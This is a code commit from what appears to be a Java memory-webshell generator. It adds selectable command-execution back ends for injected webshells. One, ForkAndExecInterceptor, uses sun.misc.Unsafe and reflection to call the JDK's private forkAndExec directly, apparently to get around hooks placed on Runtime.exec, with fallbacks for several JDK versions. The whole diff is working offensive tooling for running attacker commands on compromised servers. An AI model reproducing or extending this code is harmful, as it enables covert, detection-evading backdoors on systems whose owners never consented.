feat: support custom command implementation

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

@@ -20,6 +20,21 @@ public class CommandConfig extends ShellToolConfig {
     @Builder.Default
     private Encryptor encryptor = Encryptor.RAW;
 
+    @Builder.Default
+    private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
+
+
+    public enum ImplementationClass {
+        RuntimeExec, ForkAndExec;
+
+        public static ImplementationClass fromString(String encryptor) {
+            if (encryptor != null && encryptor.equals("ForkAndExec")) {
+                return ForkAndExec;
+            }
+            return RuntimeExec;
+        }
+    }
+
     public enum Encryptor {
         RAW, DOUBLE_BASE64;
 

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

@@ -1,8 +1,10 @@
 package com.reajason.javaweb.memshell.generator.command;
 
 import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.buddy.*;
-import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
+import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
+import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
 import com.reajason.javaweb.memshell.config.CommandConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
@@ -13,10 +15,8 @@ import net.bytebuddy.description.modifier.Ownership;
 import net.bytebuddy.description.modifier.Visibility;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.implementation.FixedValue;
-import org.apache.commons.lang3.StringUtils;
 
 import java.util.Collections;
-import java.util.HashMap;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
@@ -68,6 +68,12 @@ public class CommandGenerator {
                     .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
         }
 
+        if (CommandConfig.ImplementationClass.RuntimeExec.equals(commandConfig.getImplementationClass())) {
+            builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
+        } else if (CommandConfig.ImplementationClass.ForkAndExec.equals(commandConfig.getImplementationClass())) {
+            builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
+        }
+
         return builder;
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java

@@ -0,0 +1,107 @@
+package com.reajason.javaweb.memshell.generator.command;
+
+import net.bytebuddy.asm.Advice;
+import sun.misc.Unsafe;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+/**
+ * @author ReaJason
+ * @since 2025/5/25
+ */
+public class ForkAndExecInterceptor {
+    @Advice.OnMethodExit
+    public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
+        try {
+            String[] strs = cmd.split("\\s+");
+            Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
+            theUnsafeField.setAccessible(true);
+            Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
+
+            Class<?> processClass = null;
+
+            try {
+                processClass = Class.forName("java.lang.UNIXProcess");
+            } catch (ClassNotFoundException e) {
+                processClass = Class.forName("java.lang.ProcessImpl");
+            }
+            Object processObject = unsafe.allocateInstance(processClass);
+
+            byte[][] args = new byte[strs.length - 1][];
+            int size = args.length;
+
+            for (int i = 0; i < args.length; i++) {
+                args[i] = strs[i + 1].getBytes();
+                size += args[i].length;
+            }
+
+            byte[] argBlock = new byte[size];
+            int i = 0;
+
+            for (byte[] arg : args) {
+                System.arraycopy(arg, 0, argBlock, i, arg.length);
+                i += arg.length + 1;
+            }
+
+            int[] envc = new int[1];
+            int[] std_fds = new int[]{-1, -1, -1};
+            byte[] bytes = strs[0].getBytes();
+            byte[] result = new byte[bytes.length + 1];
+            System.arraycopy(bytes, 0,
+                    result, 0,
+                    bytes.length);
+            result[result.length - 1] = (byte) 0;
+            try {
+                Field helperpathField = processClass.getDeclaredField("helperpath");
+                helperpathField.setAccessible(true);
+                byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
+
+                Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
+                launchMechanismField.setAccessible(true);
+                Object launchMechanismObject = launchMechanismField.get(processObject);
+                int mode = 0;
+                try {
+                    Field value = launchMechanismObject.getClass().getDeclaredField("value");
+                    value.setAccessible(true);
+                    mode = (Integer) value.get(launchMechanismObject);
+                } catch (NoSuchFieldException e) {
+                    int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
+                    mode = ordinal + 1;
+                }
+
+                Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
+                        byte[].class, int.class, byte[].class, int[].class, boolean.class);
+                forkMethod.setAccessible(true);
+                forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
+                        null, envc[0], null, std_fds, false);
+            } catch (NoSuchFieldException e) {
+                // JDK7
+                Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
+                        byte[].class, int.class, byte[].class, int[].class, boolean.class);
+                forkMethod.setAccessible(true);
+                forkMethod.invoke(processObject, result, argBlock, args.length,
+                        null, envc[0], null, std_fds, false);
+            }
+
+            try {
+                Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
+                initStreamsMethod.setAccessible(true);
+                initStreamsMethod.invoke(processObject, std_fds);
+            } catch (NoSuchMethodException e) {
+                // JDK11
+                Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
+                initStreamsMethod.setAccessible(true);
+                initStreamsMethod.invoke(processObject, std_fds, false);
+            }
+
+            Method getInputStreamMethod = processClass.getMethod("getInputStream");
+            getInputStreamMethod.setAccessible(true);
+            returnValue = ((InputStream) getInputStreamMethod.invoke(processObject));
+        } catch (Throwable e) {
+            returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java

@@ -0,0 +1,17 @@
+package com.reajason.javaweb.memshell.generator.command;
+
+import net.bytebuddy.asm.Advice;
+
+import java.io.IOException;
+import java.io.InputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/5/25
+ */
+public class RuntimeExecInterceptor {
+    @Advice.OnMethodExit
+    public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
+        returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
+    }
+}